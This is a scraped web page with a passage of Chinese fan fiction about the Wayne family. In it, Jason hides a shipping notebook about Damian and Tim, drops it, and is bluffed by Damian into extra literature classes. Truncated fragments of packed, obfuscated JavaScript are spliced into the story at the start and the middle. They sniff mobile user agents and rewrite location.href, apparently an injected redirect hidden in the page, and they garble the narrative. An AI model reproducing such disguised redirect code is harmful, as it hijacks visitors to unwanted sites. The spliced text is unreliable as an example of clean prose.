l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454799|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沉默在房间里啃食空气,然后提姆换了个话题。 “阿福说得对,杰森确实是个好孩子。”他叹了口气,“只是他现在还在找属于自己的位置,需要一点时间融入这个家。” 达米安在那一页报告停留了很久,眼睛里没有上面任何一个数字。 “这是父亲的责任。从当初他不顾你我意见将陶德直接带回来起,他就应该履行家长的职责。” “只是很可惜,他还是害怕那些存在于其他可能的悲剧,一直在逃避。” 提姆一直没停下的手一顿。 他抬起头,看着达米安。 “逃避吗?我看未必吧。他不是一直在帮杰森融入这个家?别将训练那些东西当做每一个人都会经历的事!我支持他就当一个普通人,以后说不定能去考个文学博士,还能在商学院拿个文凭帮卢修斯的忙。” ,“至于‘责任’的归属,我以为这是你的问题呢。” 达米安的目光从报告上移开,对上提姆的视线。 “虽然是我自己‘愿意’跟你来韦恩庄园——姑且将你的绑架算作我自愿,”提姆说,语气很轻,但每个字都很清晰,“但当初为我的‘抚养权’,你和布鲁斯的争执总归是不合时宜的吧?” “哪有你这样和父亲抢兄弟的?” 达米安没有反驳。 因为提姆说的是事实。 尚且年轻的布鲁斯刚从魔法影像里看到许多平行世界里的悲剧——杰森的死、达米安的迷失、提姆独自寻找蝙蝠侠的漫长路途……他犹豫了。他犹豫自己的方式是否适合这些孩子,怕名为“蝙蝠侠”的披风会笼罩在所有人的头顶。 所以当提姆的父母让提姆“暂时”住在韦恩庄园时,布鲁斯的第一反应是“让他自己选择”。 达米安的反应则是“让他留下来”。反正德雷克已经跟在他们身后很久了,为什么不能成为他的同伴? 两个人吵了一架,因为达米安直接将人绑进蝙蝠洞替提姆做出了决定。不是那种摔门砸东西的吵架——韦恩父子都不是那样的人,真要打起来也没那么平和。是那种在书房里针锋相对、语气平静但每个字都像刀子的吵,他们都是那种知道怎么用语言狠狠地戳对方弱点的人。 “他不是你的下属,达米安!他是你的兄弟!” “我知道,我再清楚不过。所以我要保护他,他需要再我身边。” “保护不是控制,你都没问过他的意见!” “那你来?你连陶德的悲剧都不愿面对!” 那场争执没有赢家。最后提姆自己做了决定——他留下来了,不是因为达米安的强势,而是因为他觉得这里需要他。 起码需要一个在卡珊德拉越来越不能忍受这个家时安慰她的人,虽然后来的离开仍旧不可避免,但起码卡珊德拉对这个弟弟还是很有好感的,当初也询问过他要不要和她一起逃离这里。 现在好了。布鲁斯自动认为会在抢夺杰森抚养权中落败,直接默认将课业的责任丢给了达米安和提姆,但达米安又觉得布鲁斯会想自己培养杰森,于是只能提姆来暂时安排。 “所以,”提姆打破了沉默,“你现在打算怎么办?” 达米安合上压根看不进去的报告,靠在椅背上。 “等他。” “等他自己发现?” “嗯,算是给他的考验。”看他是否具有一个合格侦探的潜质。 “万一他一直发现不了呢?” “那就给他点更加明显的提示。” “行吧,都到这个份上,是得他一点小小的哥、谭、震、撼。” 最后几个字他咬地很重。 达米安看着提姆脸上不怀好意的笑,他知道这只鸭子也带了点对他的不满,难免迁怒,莫名对杰森升起一点同情和愧疚。 不过陶德,这是你应得的。 21.第 21 章 晚餐后的走廊里,暖黄色的壁灯把地毯上的花纹照得忽明忽暗。吃完饭后的众人都有自己的打算,像刚回来的斯蒂芬妮,已经早早离开餐桌,迫不及待要向卡珊德拉聊聊这一两天的“趣事”。 剩下的几人三三两两向楼上走去。 杰森走在队伍的最后面,前面是达米安和提姆——两人正在低声讨论着什么,声音小到只有他们自己能听见。布鲁斯在最前面,手里还拿着手机,似乎在回复某条消息,余光时不时向后面瞟。 一切看起来似乎和往常没什么不同。 杰森的手插在口袋里,摸着那个皱巴巴的笔记本。今晚他又写了一章,标题是《他的指尖,他的心跳》——写的是晚餐时达米安和提姆“不经意间”的手指触碰。 他觉得自己这一章写得特别好!那种“想碰不敢碰”的克制感拿捏得恰到好处,迫不及待想给艾格尼斯看。 也许是最近嗑得太饱,好日子过够了,颇为大胆的他悄悄把笔记本从口袋里抽出来,用胳膊肘捅了捅旁边的艾格尼斯。 “喂喂,看我新写的——”他的声音压得很低,但语气里的兴奋怎么都藏不住。 有种不祥预感的艾格尼斯还没来得及接话,走在前面的达米安忽然停住了脚步。 或许是“想起有件事忘了说”,又或许是“我听到了什么需要处理的信息”的、突兀的、毫无预兆的停顿,总之他不仅停下了,还回头看向正在偷摸搞事的杰森。 杰森的手不可避免地一抖。 可怜的笔记本从他手里滑落,“啪”地一声掉在走廊中央,摊开在暖黄色的灯光下。封面朝上,略显生涩的字迹在光线下清晰可见: 《黑暗豪门观察日志·绝密·不许偷看·偷看的是狗》 艾格尼斯心脏直接漏了一拍,不敢抬头看达米安他们的表情——布鲁斯隐隐带着点看热闹的好奇情绪快要挤到他了! 空气也和所有人一起在看到这几个字时凝固了。 杰森的大脑瞬间空白。他看见达米安的目光落在那个笔记本上,看见那对绿眼睛里闪过一丝——什么?他说不清,愤怒?不是,他没什么激烈的情绪;好奇?未必,他看起来也没有多惊讶。 更像是某种……确认。 见众人都愣在原地不动,达米安饶有兴致地弯腰,手指正要碰上本子地封面。 杰森的身体比大脑先反应过来。“嗷”的一声,他像一只被踩了尾巴哈气的猫,整个人弹射出去,一个飞扑——膝盖着地,手掌撑地,在那个笔记本被达米安碰到之前,死死地把它按在了地上,护在自己身下。 动作之大,连走在前面的提姆都停下了脚步,转过头来。 布鲁斯装模作样从手机屏幕后面抬起头,实则一开始就在关注这里的情况。 走廊里安静得能听见灰尘落地的声音。 杰森趴在地上,双手压着笔记本,心脏在胸腔里擂鼓。他甚至能感觉到自己的手在抖——不是因为疼,是因为慌。 完了完了完了完了完了—— 达米安直起身,居高临下地看着趴在地上的杰森。那双绿眼睛里没有任何情绪波动,语气平淡得像在说今天天气不错。 “陶德,你对写作什么时候产生了兴趣?” 杰森的大脑飞速运转,在短短一瞬达到了此生智商巅峰。他不能说“我在写你”,不能说“我在记录证据”,甚至不能说“这是我的私人笔记本”。他需要一句听起来正常的、不会引起怀疑的、能让达米安不再追问的—— “最……最近。”他的声音有点抖,但努力让自己看起来镇定,“学校有作文课,我……我在练笔。” 杰森感觉落在他身上的目光像一把刀,从他的头顶一路刮到脚底。他甚至怀疑达米安已经看穿了他的谎言,只是懒得拆穿。 “练笔。”达米安重复了一遍这个词,语气里没有任何疑问的起伏。 “对,对!”杰森点头,点得像小鸡啄米,“练笔,作文课!老师说我……说我需要多练习。” 他不知道自己为什么要补充“老师说我”这句,大概是觉得“老师说的”听起来更可信。 达米安的语气平静得令人发指:“既然你对写作这么有兴趣,我会让德雷克给你安排额外的文学课。” 杰森眼睛一下子睁大了,没想到自己明摆着糊弄鬼的借口居然被接受了。 “每周两节。”提姆在旁边笑眯眯补充道,“从下周开始。” 杰森的嘴张开又闭上。 理论上他应该拒绝的,他应该说他不想上什么额外的文学课。但达米安的语气不是商量,是通知。而且——杰森忽然意识到一个严重的问题——如果达米安真的怀疑他在写什么,给他安排文学课,是不是在暗示“我知道你在写什么,但我不拆穿你,我只是让你学学怎么写更好”? 还是说,这只是一个普通的、对“对写作感兴趣的弟弟”的正常安排? 这一刻他的内心戏堪称智斗巅峰! 但他的聪明才智和一身傲骨最终还是败给了达米安的锐利目光。 “知道了。”杰森听见自己说。 他能感受到达米安的视线在他脸上停留一瞬,短到杰森还没来得及解读其中的含义,达米安就已经转过身去,继续往前走。 提姆跟在他后面,走过杰森身边的时候,脚步顿了一下。杰森还趴在地上、视线刚好落在他的脚踝上,根本不会注意到。 然后他也走了。 布鲁斯从后面走过来,低头看了一眼还趴在地上的杰森,又看了一眼他怀里死死按着的笔记本。 “杰森……” “到!”杰森现在已经是惊弓之鸟,几乎是在听到自己就立刻报道。 “……起来吧,地上凉。”布鲁斯好气又好笑,只能无奈地叫杰森从地上爬起来。 然后他也走了。 走廊里这下只剩下杰森和艾格尼斯。 杰森还趴在地上,双手按着笔记本,像一尊石像,接连经历一系列惊吓,他已经燃尽了! 目睹了一切、似有所感的艾格尼斯蹲下来,歪头看着他。 “……人走了。” 杰森没有动。 “杰森?” 杰森慢慢地、一寸一寸地从地上爬起来。他抱着笔记本,靠在墙上,大口大口地喘气。 “好险……”他的声音发飘,“好险好险好险……” 好险!差点他就要暴露了! 他把笔记本举到眼前,翻来覆去地检查——封面没有破,纸页没有折,角角落落都完好无损。 “他没看到!他绝对没看到!”杰森喃喃自语,像是在说服自己,“他要是看到了肯定会问的……他问的是‘写作’不是‘写什么’……他只看到了封面……封面没什么特别的……对,就是这样……” 艾格尼斯站在旁边,看着杰森那张劫后余生的脸,他没有说话。实际上他认为那本子的封面标题也很令人难绷,但最关键的是,达米安真的不知道里面写了什么吗?怎么可能! 所以,作为在米花留学过的高材生,他得出结论—— 达米安从一开始就没打算捡那个笔记本! 他只是在吓杰森! 艾格尼斯看着走廊尽头那个越来越小的背影,在心里默默给达米安的演技打了个分。 满分十分。 “他没看到吧?”杰森的声音把他拉回来,那双蓝眼睛里满是忐忑和期待,“应该没看到吧?”现在他脆弱的小心脏继续一个有力的支持。 艾格尼斯只是用那双蓝眼睛看着杰森,露出一个温和、带着点安慰意为的微笑。 “……没看到。”他说。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455694|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 得到了想要的答案,杰森长长地呼出一口气,整个人像泄了气的气球一样靠在墙上。 “那就好……那就好……”他拍了拍胸口,“吓死我了……我以为我完了……” 他把笔记本重新塞进口袋,拍了拍,确认它安全了,然后拉着艾格尼斯的胳膊往房间的方向走。 “走走走,回去再说。这里不安全。”恶魔随时可能回来!太可怕了。 艾格尼斯被他拽着往前走,回头看了一眼走廊。 那里已经没有人了。 ———— 杰森的房间里,门一关上杰森就把自己摔进床里,抱着枕头翻了个滚。 “你知道吗艾格,那一刻我以为我要死了。”他把脸埋进枕头里,声音闷闷的,“我脑子里只有一个念头:完了,我的笔记本要被他看到了,我的所有证据要曝光了,我的——” 他顿住了。 “你的什么?”艾格尼斯坐在椅子上,明知故问。 “我的……我的观察成果。”杰森从枕头里抬起头,表情严肃,“那是我的心血。” 艾格尼斯强忍住翻白眼的冲动。 杰森从床上坐起来,掏出笔记本,翻到今天写的那一页,仔细检查了一遍。 “还好还好,没摔坏。”他舒了一口气,然后把笔记本举到艾格尼斯面前,“你看看这段,我写得怎么样?” 艾格尼斯低头看去。 “怎么了?是不是写得不好?”杰森紧张地盯着他,“我觉得这段写得挺好的啊,那种‘想碰不敢碰’的感觉——” 艾格尼斯现在已经放弃对杰森进行任何纠正之列的劝解,难得用淡定的心听杰森小嘴叭叭说个没完。 因为你永远无法在别人的领域打败他。杰森的逻辑闭环了——任何达米安和提姆之间的相处在“CP滤镜”下都是自洽的、可解释的。 那艾格尼斯还能说什么呢?当然是祝福他啦! 还有,不是他说,杰森还记得最初只是想要记录达米安对提姆的暴行这件事吗?什么时候彻底转变成CP粉的呢?他对得起最初的自己吗! “你说得对。”他泰然自若,点头,“他们一定有问题。” 杰森满意地收回笔记本,继续翻看前面的内容,嘴里念念有词。 “你说,达米安刚才看到我的笔记本封面了……‘韦恩家观察日志’……他会不会觉得我在调查他?” “也许。” “那他会不会开始防备我?” “也许。” “那我的观察岂不是更难了?” “也许。” 杰森抬头瞪了他一眼:“你能不能换个词?” “可能。” 杰森深吸一口气,决定不和这个没品的小孩一般见识。艾格尼斯好不容易在他的苦口婆心训导下看清了这个家的真相,已经很不容易了,他要宽容。 唉,他真是个好哥哥啊! 艾格尼斯坐在椅子上,眯着眼,看着杰森的背影,总觉得这小子心里在说他坏话。 本来那一丝丝已经很淡薄的良心还让他想办法让杰森知道这是达米安他们做的局,现在看他不知悔改的样子良心又死得更彻底了些。 虽然不清楚达米安他们具体想干什么,但他知道,达米安和提姆之间一定有一个他不知道的“计划”。 而杰森,正在这个计划里,一步步走向他命中注定的……社死。 想到这里,艾格尼斯的嘴角忍不住翘了起来。 “杰森。” “嗯?” “达米安说要给你安排文学课。” “对!怎么了?” “你还是好好上课吧……多学学课上的技巧,以后肯定用得上。” “那当然,我可是天才,肯定一学就会!你等着看吧!”